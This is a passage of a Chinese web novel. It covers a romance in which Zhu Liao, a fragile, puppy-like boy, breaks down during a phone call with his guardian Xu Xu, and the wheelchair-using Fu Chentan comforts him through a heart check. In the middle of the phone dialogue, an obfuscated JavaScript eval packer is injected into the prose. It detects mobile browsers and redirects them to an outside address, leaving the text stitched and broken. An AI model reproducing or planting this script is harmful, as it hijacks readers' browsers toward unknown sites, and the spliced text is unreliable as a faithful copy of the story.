这很罕见,更罕见的是傅沉檀没有在工作,也没穿几乎是从不换下的西装——他似乎已经洗过了澡,头发还有些未干的潮气,换上了深色的丝质睡衣,腿上随意盖着一条同色系的薄毯。 书房的灯光很暗,不是适合工作的、几乎是刺眼的过度明亮。 “先生。”安崇压低声音。 傅沉檀的视线扫过屏幕另一头,没有看到预想中的、应该还在闹腾,或者至少一听到动静就立刻好奇地探头冒出来的浅金色脑袋。 他开口,声音透过听筒传来,带着淋浴后的微哑,语气平淡:“祝缭怎么样了。” 下午发的短信,安崇回复得很模糊和古怪,只是说祝缭少爷遇到了熟人,一起逛了店,买了些小玩意,玩得也……未必就一定非常尽兴和开心。 傅沉檀不明白这是什么意思。 安崇很少这样说话,汇报更是从无语焉不详过,或许是他昨天的失态,吓到了这位侍奉傅家数十年的老管家。 傅沉檀顿了顿,又补充了一句,恢复了冷静地、公事公办的语气,听起来像是基于昨天“经验”的合理推断:“如果还是不肯自己睡,闹腾,要人陪。” “就把人送过来。” 安崇:“……” 傅沉檀蹙了蹙眉,重复询问:“祝缭在干什么?” 安崇沉默了足足好几秒,实在不知该如何在这种超出他日常处理范畴的情况下,用足够专业、不引发任何误会的方式回复。 最终,他什么也没说,只是缓缓地,平稳地,将手机镜头举起,转向后座。 祝缭歪倒在后座舒服宽阔的真皮座椅里,浅金色的头发睡得乱糟糟,呼吸平稳,睡得正熟,甚至因为玩得实在太开心,在梦里还抿着嘴角,微微鼓起的脸颊随着呼吸轻轻起伏。 安管家把镜头转回自己,用最专业的、绝不掺杂任何个人情绪的语气,如实汇报:“睡着了,先生。” 傅沉檀:“……” 8. 你玩不起 医院,顶层套房。 祝缭舒舒服服地睡了一路,被安崇轻轻唤醒时,还有些懵懵懂懂,软软的浅金色短发乱蓬蓬地翘着,像只刚从温暖巢穴里被抱出来的、软绵绵又毫无防备的小动物。 他揉了揉眼睛,打了个小小的哈欠,被安叔牵着,带回了那间温暖舒服的套房。 此刻,他正盘着腿,深深陷在客厅那个超大的云朵沙发里,自己掀着宽松的病号服上衣,低着头,乖乖摘下佩戴了24小时的便携式心电监测记录仪。 那些小小的、圆圆的电极片,被胶布贴得有点牢,又被汗水浸泡了一天,变得异常顽固。他正低着头,小心翼翼地自己往下撕,时不时细细地抽一口气,捷下一个电极片,过分苍白的皮肤就立刻泛起一小片敏感的微红。 今天玩得超开心。 祝缭已经很久没这么畅快自由地透气——虽然被严格限制了强度,但对这具身体来说,已经是相当超负荷、相当放肆的“狂玩”了。 祝缭现在人像散了架,骨头缝里都是酸的,可精神却还残留着兴奋的余韵,深栗色的眼睛亮晶晶,盛满了显而易见的快乐与满足,像两颗泡在蜂蜜里的杏仁。 “安叔。”他咬着衣角,两只手和最后一片顽固的位置刁钻、电极片搏斗,一边含含糊糊地问,带着点软软的鼻音,“傅沉檀今天什么时候下班?” 他的语气里没有抱怨,没有催促,只有一种天经地义、理所当然的,带着开心期待的询问,仿佛傅沉檀的“来”,是每天只要天一黑、月亮就会冒出来一样,完全自然而然的事情。 他还有礼物要送呢! 那条用了好多漂亮新珠子、他觉得自己迄今为止编得前所未有的好看的手绳,还差最后一点点收尾工作。 祝缭把它揣在了随身的小包里,迫不及待想展示成果,看傅沉檀收到的反应——虽然以他对傅沉檀那极度匮乏的表情和语言系统的粗浅了解,大概率也不会有什么反应。 大概……最多就是看一眼,“嗯”一声,然后放在一边。 昨天傅沉檀就是这么对待祝缭试图分享给他的小兔子饼干的。 ……但这完全不会打消小狗向好人类、向自己认定的安全区分享宝藏的快乐与积极性。 哪怕对方非常遗憾地不懂得欣赏,小狗也要给。 不需要回报,不需要回应,甚至不需要理解,分享本身就是最纯粹的快乐——这是小狗最开心的、最有成就感的时刻。 安崇正在一旁,利落而安静地整理简易医药箱,将用过的棉签和酒精片分类收好,听见他的问题,动作不着痕迹地顿了下。 他抬起头,看着少年纯粹明亮的期待眼神,又不由自主地想到了……几十分钟前。 在看到熟睡的祝缭后,下一秒,傅沉檀就挂断了视频。 接下去的半小时车程里,祝缭裹着小毯子睡得又香又甜、梦里还在开心地小声哼唧,念叨着“傅沉檀”和“礼物”。而安崇,则用尽了毕生的语言组织和措辞技巧,向先生说明和解释今天的情况: 祝缭少爷只是遇到了认识的人,进行了一些简单的、健康的社交活动,买了点小玩意儿。 仅此而已。 医疗团队那边的监测结果,显示祝缭的心脏虽然有严重的、相当复杂棘手的先天性缺损,但状况却意外的稳定,至少在这二十四小时里,除了基础心率偏慢、射血不足、收缩乏力……这些早已存在的问题,并没有观察到更多危险的、足以致命心律失常迹象。 安崇把这些详尽地汇报给了傅沉檀。 这位侍奉傅家数十年、旁观无数人心纠葛的老管家,显然已经敏锐的意识到,先生今天……或许产生了某种他自己都未曾察觉,亦或是根本不愿承认,下意识回避的隐秘期待。 傅沉檀甚至提前结束了下午既定的工作,罕见地在非就寝时间洗了澡,换上了那身摸起来相对舒适的睡衣,而非平日里那些象征着权利与距离的冰冷西装。 灯光也不是平日里雪亮刺眼、仿佛要将每个角落都过度曝光,让一切无所遁形的强光——那场导致他永远被困在轮椅上的惨烈事故后,傅沉檀所在的房间里,灯光就必须如此,仿佛只有这样才能驱散某些阴影。 但今天傍晚,那个书房的光线……是柔和的,昏暗的,适合困得晃悠悠的小狗趴在膝盖上,边被摸边舒服打盹。 视频通话时,透过一闪而过的画面,安崇甚至看见,傅沉檀那张严肃、专业、不容任何无关物品玷污的书桌角落,与摊开的厚重财报、待批的跨国收购案法律文件格格不入的……硬塞进去了一杯正冒着热气的甜牛奶,和一碟看起来就十分幼稚、表面撒满了亮晶晶糖霜的兔子形状小饼干。 …… 忠心耿耿的安管家现在就可以把祝缭少爷带回傅宅。 但傅沉檀的回复,隔了几分钟,才在安崇的手机上冒出来:【不必。】 紧接着,下一条信息跟上,傅沉檀的措辞已经恢复了惯常的、岿然不动的冷静: 【他身体不好,需要专业医疗环境,留在医院。】 【他自己睡得很好。】 安崇看了一路那句话。 在几分钟前,送完成检查的医疗团队离开时,安崇的手机上又几乎同时收到了两条来自先生的新指令。 简短,清晰,依然不带任何多余的感情色彩,却让早已古井无波的老管家心头也罕见地沉了沉。 第一条是关于祝缭少爷那份刚出炉的、异常详尽的全面体检评估报告: 【报告不必再送我看。联系院里,组织相关科室权威专家会诊,按最佳方案执行,费用从我私人账户走。】 第二条则与治疗无关。 【查一下S大附近,环境清静、安保好、生活配套完善的高档商品房,要现房,手续办妥后,过户到祝缭名下。】 【给他张卡。】 ……安崇比任何人都清楚这意味着什么。 这不是心血来潮慷慨赠与,更不是一时兴起的“宠爱”和“娇惯” 是安置。 傅沉檀是要把祝缭送走。 傅沉檀已经完成了他的逻辑评估:祝缭有他自己的、阳光下的、简单快乐的朋友世界,并不需要真正时时刻刻依附于谁。 昨天的一切不过是个意外,那孩子第一次被扔到完全陌生、危机四伏的环境,受了惊扰和恐吓,情绪不安,所以才会不合时宜地格外黏人。 如今,祝缭的情绪已经平复,找到了乐趣,睡得很安稳,这很好。 那么……处理起来就简单了。 要保持距离很容易。 人送走,买个离学校近的、干净安全的房子送他住,物质上给予足够的保障,解决他实际的生活困扰。 傅沉檀不需要“失控”,不需要任何计划外、不稳定的情感变量。 一栋房子,一张不设限的卡,称得上优厚到极点的回报价格,把一切混乱和错位,在彻底脱轨前冷静地、决绝地,强行推回它“本该属于”的正轨。 至于那只冒冒失失、意外闯入不属于他的冰冷领域,带来短暂温度和扰动的快乐小狗,在引发了一系列始料未及、难以用逻辑解释的复杂连锁反应后……终于要被“妥善安置”回他本该属于的,阳光普照、温暖安全,充满简单快乐和同龄朋友的世界了。 安崇的喉咙有些干涩,他放下手里的东西,看向沙发里的祝缭。 祝缭终于成功解决了最后一片顽固的电极片,带着点小小的成就感,将它端端正正摆在了一旁医生留下的托盘里,和其他几片放在一起。 他按了按被卷太久、有些皱巴巴的病号服衣摆,然后舒舒服服往后一靠,重新陷进柔软的云朵沙发里,拿起那串编到一半、因为加了新珠子而格外漂亮的手链,就着柔和的灯光,专心致志地研究下一个“幸运轮回结”结该怎么打。 少年的眼睛无忧无虑,浅金色的头发软软地垂在苍白额前,脸颊泛着浅粉,睫毛在眼睑下投落小片阴影。他正和一个相当复杂的绳结较劲,脸颊微微鼓起,完全沉浸在“准备一份超棒的礼物送傅沉檀”的专注与快乐期待里,对即将到来的一切改变都还全无所知。 或许,也永远不会理解。 祝缭咬着绳结的一头,用牙齿固定,双手灵巧地打着结,察觉到安崇的注视,立刻把绳结放在一边,抬起头,眼睛亮晶晶地望过来。 他甚至用手撑着柔软的沙发,身体微微前倾,带着点孩子气的、迫不及待等着答案的轻轻摇晃,乖乖地,充满信赖地,等安叔讲傅沉檀什么时候来。 “先生他……”安崇斟酌着,缓声开口,设法让语气听起来和平时一样可靠,“晚间有重要的跨国会议,抽不开身,可能直接在办公室歇下了。” 第一次需要这样说谎、骗一个对他如此信任的孩子的老管家,内心罕见地掠过一丝不受控的涩然。 安崇走过去,在沙发旁微微俯身,抬起手,力道极其柔和地整理着祝缭皱巴巴的病号服,动作细致,带着一种近乎下意识的不自觉呵护:“祝缭少爷今天也累了,不如早点休息?” 祝缭愣了一下。 他轻轻眨了眨眼睛,眼里可见的快乐期待暗淡了一瞬,像被云层短暂遮住的星星。但很快,就又变成了超级懂事的理解和体量。 他几乎是立刻启动了自己那套“理解人类世界复杂规则”的认知模块。 “哦……开会呀。”他小声重复了一遍这个理由,像是要把它记在心里,然后很认真地点了下头,仿佛完全接受并理解了这个解释。 小狗不太懂,但人类的生活就是很忙的。 根据过去二十几个任务世界积累的观察经验,「被工作抓走」是成年人类最容易遇到的危险之一。 没关系,小狗的快乐和期待,不会因为一次短暂的、合理的延迟满足而立刻熄灭。 他立刻重新拿起那串手绳,深栗色的眼睛因为有了新的、更明确的目标,变得更亮:“那我今晚把它编完!明天傅沉檀开完会,就可以戴了!” 他的语气坚定,充满了对“明天”的笃定期待。 安崇看着他又低下头,纤细的手指和彩色的丝线、温润的珠子专心纠缠搏斗,少年仿佛完全不懂得什么叫泄气,一个小结打错了,必须重新解开再编一大截,也只是轻轻“啊”一下,鼓一鼓腮帮,然后更不服输地重新再来。 那种全情投入、只为了专心准备一份“超棒礼物”的纯粹快乐,像一层看不见的柔软薄膜,隔开了外界复杂冰冷的算计。 安崇沉默着站在原地,看了他几分钟,悄无声息地离开,退出套房,轻轻带上了厚重的隔音门。 …… 祝缭编得太专心,几乎是到了腰酸背痛、头晕眼花要变成被柠檬汁泡过的酸软棉花糖小狗的时候,才后知后觉地察觉到了屁股下面震动的嗡嗡声。 是手机。 他揉着有些酸涩的眼睛,打着小呵欠,摸索着从被子里挖出自己沉甸甸的手机,然后愣了下。 徐序哥的电话。 前面还有一串未接来电的提醒。 红色的。 ……也都显示着「徐序哥!最喜欢」的备注。 他握着震个不停、几乎有些发烫的手机,罕见地、有些自己都不太明白的迟疑了。 放在平时,他明明一定会迫不及待,开心得不行,用最快的速度毫不犹豫地立刻按下接听的——那是小狗无法抗拒的本能反应,是“回家”、“被需要”、“最安全”的信号。 祝缭有点困惑地看着屏幕,又看了看自己悬在半空,迟迟没有落下的手指,不明白是从哪里出了问题。 明明是最喜欢、最依赖、最信任的徐序哥。 是在他险些被卖掉的时候,牵着他的手,把他领回家的徐序哥。 为什么……会不想立刻接呢? 他努力地回想,试图从被自己因为太开心刨得乱七八糟的记忆纸箱里翻找答案,那个会拍翅膀的蓝色小鸟钥匙扣,那双温和却疲倦、对他说“不可以这样”的眼睛,还有昨天……心里那种闷闷的、酸酸的,让他不喜欢的感觉。 只是……因为这些吗? 他不生气的。 还发生了别的什么吗?他总是记不住不开心的事,还有……更多的不开心吗? 阴影很模糊,像阳光下掠过的影子,捉不住形状,甚至可能只是一晃而过的错觉。 祝缭的手指慢慢划过了绿色的接听键。 “徐序哥。”他开口,声音比平时轻了一些,软软的,带着点自己也不明白的干涩紧绷,像一根被轻轻拉直的,快要失去弹性的橡皮筋。 电话那头沉默了一瞬,似乎没料到他会接得这么慢。 然后,徐序那熟悉的、总是带着温柔耐心的声音,才透过听筒传了过来。 只是今天,那惯常的温柔底下,似乎压着一层更深的、化不开的疲倦,和一丝……更复杂、更沉涩的东西。 “缭缭。”徐序叫他,声音放得很缓,像怕惊扰了什么,又像在谨慎地试探,“你终于接电话了,这几天……怎么样?身体还好吗?” “嗯,好哦。”祝缭乖乖地回答,像完成一个标准用的程序,手指无意识地轻轻抠着病号服的衣摆,又弄皱了一小片。 他下意识把编得只差一点的手绳抱在怀里:“今天还出去玩了。”他开始小声地补充,语速不自觉地加快,“去了公园,看了好多鸽子,胖鱼,还有黑天鹅,不过安叔说不可以喂……还遇到了学长,买了珠子,他教我怎么把这个结编得更好看……” 他像往常一样,不停地、唠唠叨叨地分享着今天的“快乐瞬间”,试图用这些新鲜的、明亮的碎片,填满那种叫人难受的空白。 “嗯,那就好。”徐序安静地听着,等他说完关于公园、学长、珠子的一小段,才温和地接话,“玩得开心就好,你想要的那件蓝白款的羽绒服,我托人问的那家专柜店长说,今天刚巧调的货,过两天应该就能送到了。最近降温厉害,你记得多穿点,别贪玩着凉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096622|195641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯,谢谢徐序哥。”祝缭乖乖道谢,心里却涌起一种奇怪的、陌生的感觉,并没有像平时那样,因为收到礼物而立刻雀跃起来。 又一段短暂的、带着无形压力的沉默后,终于,电话那头,徐序轻轻吸了一口气。 “缭缭。” 停顿了两秒,他再开口时,那语调里带上了一种极力克制后的、近乎无力的叹息:“我听傅晟说了。你这些天,是不是一直……都和傅沉檀傅先生在一起?” 祝缭眨了眨眼睛,没觉得这有什么需要隐瞒或者特别的,他下意识点了点头,忘了是电话,另一头看不见:“是呀,傅沉檀是好人,他让医生给我看病,还……摸我的头。” 说到最后一句时,他的声音不自觉地又软了下去,低了下去,带着点小小的、隐蔽的,大概只有他自己知道的开心。 电话那头的呼吸声似乎重了一下。 “缭缭。”徐序的声音里,那种沉重的疲惫,长久以来累积的、面对祝缭时特有的无力和担忧,终于慢慢渗了出来,“你听话,傅沉檀那个人……不是你能打主意的。” 说完这句话,似乎是觉得“打主意”这个词用得太重、太成年化、太不恰当了,徐序的语气又努力放柔,缓和下来。 “他很危险,你根本不明白他是什么样的人,他周围是什么样的世界。” “你觉得……他对你好,或许是他一时兴起,或者……有其他原因,比如为了打压傅晟。” “但绝不可能,是像你以为的那种‘喜欢’,知道吗?他那样的人,心思深不可测,你玩不起的。” 徐序的语气疲倦到了极点,仿佛在教一个永远学不会复杂规则的孩子:“缭缭,乖,别闹了,早点回来,好吗?我不管你和别人玩了,就当是为了让我……安心一点。” 「……滚滚滚滚滚!」 系统刚充完电就听见有人放屁,气得当场爆炸,沿着电话信号钻进去戳那个姓徐的脑仁:「虽然、虽然那个99.3%可能确实不懂什么是健康正常的喜欢,但是!关他屁事!别人不可以这么说我的宿主!宿主想喜欢谁就喜欢谁!宿主值得全世界最好的喜欢!这个徐序怎么回事!以前觉得他还行,怎么越看越不顺眼了!双标!虚伪!这种装模作样的‘为你好’最讨厌了啊啊气死我了!!!」 祝缭的耳边,同时灌入徐序的苦口婆心的疲倦劝说,和脑海里系统怒发冲冠、气到快要语无伦次的电子音咆哮。 他有些茫然。 徐序哥说的每一个字他都听得懂,但连在一起,却像是又变回了过去当实习小狗的时候,只能听见一些人类发出的复杂、冗长、无法理解的音节和语调。 他只能捕捉到“危险”、“玩不起”、“回来”这些关键词,但它们拼凑不出任何合适的含义,能表达他的经历、他的感受。 不是……那种喜欢? 哪种喜欢? 小狗对于喜欢的定义一直都超简单:愿意待在一起,不想离开,看到对方会开心,想贴贴,想分享宝藏。 比如他喜欢阳光,喜欢柔软的垫子,喜欢对他温柔的人……这是一种非常简单、非常直接,根本不需要任何复杂理由的感情。 祝缭很喜欢傅沉檀,在这个世界目前为止遇到的一切喜欢的好东西里可以排第三,第一是“出去玩”,第二是“吃饭”。 他也觉得,傅沉檀是愿意和他待在一起的。 因为傅沉檀摸他的头,把他拎到轮椅上,没有把他丢进垃圾桶,在他难过的时候抱他。 他蜷在柔软得过分、此刻却仿佛无法承托心口那种越来越清晰、越来越沉重的酸涩重量的沙发里,抱着绳结和手机,小声地、很坚持地反驳,声音因为说不清的委屈微微发颤。 “……喜欢的。” “傅沉檀喜欢摸摸我的头,还有后背偏下的地方。我乖乖的,不吵他工作,还给他带礼物……他喜欢我的。” 小狗不能理解怎么这样还不够。 电话那头,徐序显然有些毫无防备的错愕。 祝缭过去从不顶嘴,总是开开心心地、乖乖地听他的话,他没想到祝缭有一天会这样直接的、近乎执拗地回应。 那股一直压抑的烦躁和无力感似乎冲破了某个临界点,徐序的语气也不自觉加重了些:“缭缭!你怎么就是听不懂?他那种人,能喜欢你什么?你知不知道靠近他可能会有什么后果?明明谢泽谦那边我已经……” “喜欢的。”祝缭又打断他,固执地重复了一遍。 徐序愣住了。 祝缭用力揉着眼睛,他不想听徐序哥说的这些话了,现在不想听,但又不知道怎么办,只好不停地大声说话,笨拙地希望盖过所有让他超级难受的话:“喜欢的,喜欢的,喜欢的……” 心脏的位置,忽然清晰地抽痛了一下。 在系统「糟了糟了糟了我怎么还没修BUG」的慌乱大喊里,祝缭闷哼了一声,蜷得更紧,大颗眼泪砸在手机屏幕上。 力气像水一样流走了。 【监测到处于严重陪伴缺失状态。】 【为保护宿主情绪安全与心理健康,自动退出程序预启动,计时开始。】 【71:58:42】 【71:58:43】 「……怎么还接着上次的倒计时继续啊!!!」系统的电子音急得要劈叉,「BUG!绝对是史诗级BUG!后台没清零!我要投诉——不对现在不是投诉的时候!祝缭!祝缭!坚持住,快叫傅沉檀!那个99.3%的大冰块拿监控看着你呢!」 …… 小狗蜷缩在宽大的沙发里,身体变软,视野开始模糊,耳边是徐序焦急的、忽然放大的喊声:“缭缭?!怎么了?缭缭?说话!” 深栗色的眼睛蒙上了一层厚厚的水汽。 所有从来都不曾处理过,因为乐天健忘、社交繁忙、要开心的事情太多,而被下意识抛在记忆最深处的、混杂着困惑、委屈、酸涩的情绪……都忽然不讲道理地涌上来。 就在他的意识有些涣散,泪水模糊了眼前的一切,电话那头的徐序急得要发疯的时候—— 一只裹着绷带的手,突兀地,进入了他的视野。 蜷成一小团的棉花小狗被拎起来。 系统:「!!!!!」 傅沉檀来得突然,西装外套下甚至还是那件深色的丝质睡衣,他的呼吸比平时略显急促,脸上依旧没什么表情,但胸膛微微起伏,几缕微微汗湿的黑色短发垂落在额前。 角落里的监控恒定地闪着红灯。 他的腿上盖了毯子,增加了摩擦力,小狗没那么容易不小心滑下去了,祝缭怔住,睁大眼睛,被那只手生疏地、一点一点擦掉眼泪。 傅沉檀俯身,拾起那个掉在地上的手机,在看到「徐序哥!最喜欢」这种备注时视线微动,什么也没问,只是放在一旁,点开免提。 他的声音不高,在过分安静的套房里,却像是冰凌坠地。 他学祝缭说话:“喜欢的。” 9. 仅此而已 电话的另一头陷入近乎凝固的死寂。 徐序甚至无法处理、无法消化眼下的状况,他根本做不到理解刚才听到的那几个字……和那个声音。 说话的是傅沉檀? 那个陌生的、冰冷低沉到近乎漠然,不带丝毫情绪起伏的男声。 就是让傅晟恨得咬牙切齿,却又恐惧到极点、连名字也不敢在公共场合轻易提起,让背景深厚的谢家损失几个亿也只敢打碎牙齿和血吞的恐怖男人? 真真假假的无数传闻里,那个手段狠厉莫测,在商场上只手遮天赶尽杀绝,逼得对手倾家荡产、家破人亡也冷血得无动于衷的……傅沉檀? “喜欢的”。 这三个字到底是什么意思,代表了什么?发生了什么? 只不过是短短几天而已——今晚傅晟突然把他叫出去陪着喝闷酒,按照傅晟那副悔恨交加、懊恼不堪的混乱叙述,祝缭被送去了傅晟叔叔的别墅“解闷”,也只是三天前发生的事。 祝缭……缭缭他,究竟都在傅家那座吃人的宅邸里,在那个据说残忍冷漠到全无人性、连至亲都避之不及的傅沉檀身边,做了什么?? “傅……先生?”徐序吃力地开口,他极力控制着声音听起来镇定、有礼,带着应有的尊重和距离。 但惊悸和紧绷还是无法遮掩地从每个字的尾音里泄露出来。 “缭缭他……我是他哥哥,徐序。真的很抱歉,这么晚打扰您,我替缭缭给您道歉。他年纪小,不太懂事,有点……口无遮拦。如果说了什么不合适、冒犯您的话,请您千万别往心里去。” “他还好吗?他心脏有些问题,刚才……是不是不舒服了?” “麻烦您……让他接一下电话好吗?或者,请医生来看看他?我真的很担心他,刚才他的声音听起来很不对劲……” 傅沉檀没有回应。 他甚至没有分给那个还在不知死活、没完没了,不停传出噪音的手机一个眼神。 在擦了一会儿小狗哭得一塌糊涂、湿漉漉、不断涌出热泪的脸颊,发现收效甚微之后,空出的手就探过去,在那块小小的发光屏幕上漫不经心地一划。 “嘟——嘟——嘟——” 徐序那带着急切恳求、又极力试图维持体面,努力想要表现出“监护人”姿态的聒噪,终于被冰冷短促的忙音剪断。 戛然而止。 世界终于重归它应有的安静。 傅沉檀垂下眼,看了看手里这个分量显然不轻、挂满了各类幼稚小玩意的手机。 出于对这些花里胡哨小挂件的具体质量,以及防磕碰水平的合理怀疑,他没有像对待普通物品那样,随手将它丢开,或者轻率地扔在过于坚硬的实木桌面。 他单手稳稳揽着怀里还在无声抽噎、微微发着抖的小狗,轻轻抚摸着后背,操控轮椅,找了一圈,把这台手机和它的几十个叮当作响的累赘妥善安置在了沙发上,最厚实蓬松的一个羽绒靠垫中央。 闻讯匆匆赶回的安崇已经带来了做紧急心电图检查的机器。 祝缭蜷在傅沉檀怀里,无意识紧紧攥着傅沉檀的衣襟,指节用力到泛白,把昂贵的西装面料弄得一团糟。他还在小声地、控制不住地一抽一抽地吸气,大颗大颗的眼泪浸湿了傅沉檀胸前的衣料,深色的湿痕还在显著扩大。 安崇半蹲下来,脸上是惯常的刻板平静,只有视线扫过那个惹祸的、暂时消停下来的手机时,眼底极快地掠过一丝某种不具温度的冷色。 视线迅速收回,重新落回祝缭身上时,安崇的语气也变得轻缓、温和,柔声安抚:“祝缭少爷,没事了,只是需要做一个检查,很快就好……您放松,对,深呼吸……” 冰凉的、透明的导电凝胶,被轻柔地涂抹在少年因为情绪激动还在不定起伏的,苍白单薄过头的胸口皮肤上。 “唔……!” 突如其来的、与体温差异巨大的冰凉触感,让意识有些涣散的祝缭猛地打了个激灵,像受惊的小动物,下意识地,往傅沉檀那暖和安稳的怀里更深处缩进去。 “做检查。”傅沉檀的手臂稳稳环着他,防止他因为乱动滑落,抬起左手轻轻摸他的头发,“去床上,躺下,配合安叔。” 放在平时,祝缭肯定会开开心心地“嗯!”一声,然后主动松开手,像只听话又聪明的小动物一样灵活地滑到地上,蹦蹦跳跳地跑到那张超级舒服的大床边,手脚并用地爬上去,把自己在床中央摆得端端正正,眼巴巴等着“检查”和随之可能到来的“摸摸奖励”。 但此刻的小狗,显然被刚才那通电话和随后汹涌而来的、完全陌生且无法处理的情绪冲击得晕头转向。 ……完全听不得任何关于“松手”“离开这个怀抱”、“独自躺到别的冷冰冰床上去”的指令。 离开这个正稳稳抱着他、轻轻摸他头发,给他全世界唯一安全感来源的好人类,独自躺到那张虽然柔软,此刻却显得异常空荡冰冷的大床上…… 简直是世界上最恐怖、最不可接受的糟糕事情!比用“出门玩”被骗去诊所打针还要可怕一百倍!比所有零食被突然没收还要难过一千倍!是绝不可能妥协的原则问题! 安崇没能成功把祝缭少爷从先生身上摘下来。 少年两只细瘦的胳膊死死抱着先生的脖子,腿也无意识蜷起,脚趾都用力勾着,像一只被突然丢进冰水,绝无可能接受洗澡酷刑的小狗,牢牢黏在傅沉檀身上,用全副身心表达着“谁也别想把我弄走!”、“这里最安全!”、“就要待在这里!”……的誓死不屈的坚定决心。 安崇的操作陷入了僵局,抬起目光,无声地请示。 傅沉檀也顿了顿。 他低下头,看着这颗埋在自己颈间、毛绒绒的、胡乱拼命摇头的浅金色脑袋。 ……看起来至少很有力气。 抱得很紧,手臂正在勒他的脖子,中气也还算足,不像立刻需要联系抢救团队进行心肺复苏的样子。 傅沉檀微不可察地轻轻叹了口气。 他没有再试图强行命令或是讲道理说服,只是带着某种连他自己似乎也未曾察觉、近乎纵容的妥协,抬起没被勒住的左手,摸索到轮椅扶手侧面的面板,按下了一个不起眼的按钮。 “嗡——” 机械马达稳定运转的声音毫无预兆响起。 在祝缭错愕地、微微抬起有些发沉的脑袋,连眼泪都忘了继续往下掉,睁圆了眼睛,茫然又好奇的注视下。 靠背缓缓地、平稳地向后放平,与坐垫形成一个接近水平的角度,脚踏上移,调整角度,两侧的扶手也随之同步降低,微微向后收缩,让出更多空间。 这台代表着禁锢与不便的轮椅,在精密的机械结构操控下,变成了一张……不算宽敞,但异常结实和稳固的床。 傅沉檀没有跟着一起躺下。 他右臂曲起,用手肘稳定支撑着自己的上半身,在安崇的协助下,脱了那件已经被蹂躏得惨不忍睹的黑色西装外套。 ……还在发懵、睁大眼睛呆呆看着“轮椅变床”魔术的小狗,猝不及防,被蒙着脑袋罩了个正着。 傅沉檀是暖和的。 这很反直觉,因为傅沉檀这个人看起来完全是冰块。至少系统这么深信不疑地认定,此刻还在后台数据海的角落里一边疯狂自检试图修复BUG,一边用虚拟画笔念念有词画圈,嘀咕着什么“大冰块”、“99.3%”、“宿主保重啊千万别冻伤”……但其实傅沉檀完全是暖和的。 祝缭在心里这样悄悄反驳系统。 视野被温暖的黑暗笼罩,其他感官就变得异常敏锐。 熟悉的安定气息,微凉的、有些分量的昂贵西装面料,温暖的体温,后背一下、一下节奏从未紊乱的安抚……以及依旧贴得很近的,源源不断的,属于另一具身体沉稳有力的心跳。 小狗觉得有一点点、一点点安全了。 在全方位的包裹和安抚下,高度紧张的神经也开始极其缓慢地松懈,他忍不住,在被摸摸头的时候,用脑袋轻轻拱了拱宽大暖和的掌心。 傅沉檀好像也懂他想表达的意思。 傅沉檀隔着西装抱他,托着他的后脑和脖颈,让他转身,躺好。 傅沉檀弯曲着右臂,支撑身体,微微探身,替他贴电极片。大概是发现了那些之前被胶布撕下来时弄红的地方,带着薄茧的指腹就按上去,轻轻抚了抚,仿佛在无声地安慰:不怕,不疼。 祝缭就枕在那只有力的手臂上,额头还贴着傅沉檀微微起伏的宽阔胸口,一下、一下地,慢慢眨着眼睛。 傅沉檀的声音,从很近的上方隔着衣料传来,比刚才更低、更沉,带着一种奇异的、能穿透一切不安的不变的稳定力量:“检查。” 这两个字不再是冷硬的命令,更像是一个简单的通知,一件无需担忧的普通日程。 祝缭在黑暗与温暖中眨了眨湿漉漉的眼睛,带着鼻音,小声地、含糊地咕哝了“好哦”。 然后,他真的开始尝试着,听话地、一点一点地放松下来,紧绷的颈背肌肉缓缓卸掉了力气,死死攥着傅沉檀衣摆的手指也带着点恋恋不舍的迟疑,一根、一根慢慢松开。 那件蒙头的西装外套被轻轻揭开,微凉的新鲜空气拂过脸颊、被用热毛巾轻轻擦拭时,他也没有不安。他甚至配合地微微仰了仰脸,闭上眼睛,乖乖地任由安崇擦拭,喉咙里发出一点很轻的、带着舒服意味的细小哼唧声。 祝缭用鼻尖轻轻地碰傅沉檀的手指。 像一块终于被从冰水里及时解救出来,放在温暖掌心,开始安心地、毫无防备融化的甜奶油。 安崇抓住时机,迅速而专业地连好所有导线,又轻声解释着,把测血氧的小夹子扯过来,夹在祝缭冰凉的指尖。 便携式心电图检测仪发出轻微的、规律的电子提示音,他仔细观察着屏幕上的数据和波形,来到傅沉檀身边微微低头,低声汇报:“先生,心率偏快,但没有出现危险的恶性心律失常,血压和血氧也在安全范围内……应该是因为情绪激动导致的暂时性心动过速。” 傅沉檀“嗯”了一声,表示知晓,他那只抚摸着祝缭头发的手,节奏未变,依旧一下、一下,规律而恒定。 过了大约两三分钟,监测仪上的心率数字开始缓慢下降,逐渐趋近于祝缭平时静息状态下的心率基线。 与此同时,祝缭的呼吸也变得越来越轻缓、平稳。温暖的包裹、持续恒定的抚摸、令人安心的气息,以及情绪退潮后的极度疲倦,带来了强大的催眠效果,他好像……有点困了。 小狗的记性,在某些方面,似乎格外的好——比如他能不假思索地说出手机上每一个挂件的来历,获得它的时候附近有什么好玩、什么好吃,阳光好不好,风里有没有花香。 但在另一些方面,又格外的短暂。 比如,一切不开心的事。 就在几分钟前,还让他哭得心脏抽痛、眼前发黑,仿佛天都要塌下来的委屈和难过,在温暖、抚摸和困意的温柔包围下,像是太阳下面的一小圈水渍,飞快地蒸发,再次消失得了无踪影。 血氧夹和电极片都被拆走了,温热的毛巾擦拭干净了胸口残留的凝胶。他听见大变轮椅的声音,感觉到身下的“床”又在调整角度,他软绵绵滑进傅沉檀手臂和胸膛构筑的安稳角落里。 …… “先生。” 安崇收拾好仪器,低声请示:“需要通知值班医生过来再详细检查一下吗?或者,给祝缭少爷用一点……适量的,镇静安神的药……” 傅沉檀的视线落在怀里那颗毛绒绒的、已经彻底放松,甚至开始发出软绵绵细小呼噜声的脑袋上,少年本来抓着他袖子,力道也变松了,手指软软搭着,虚虚地贴着他的手背。 被擦干净了的脸偎着他的胸口,眼尾和鼻尖还残留着哭过的浅红,睫毛湿漉,投落下两片小小的阴影。 “不必。”傅沉檀淡声说,目光并未从祝缭脸上移开,“让他睡。” 傅沉檀说:“关灯。” 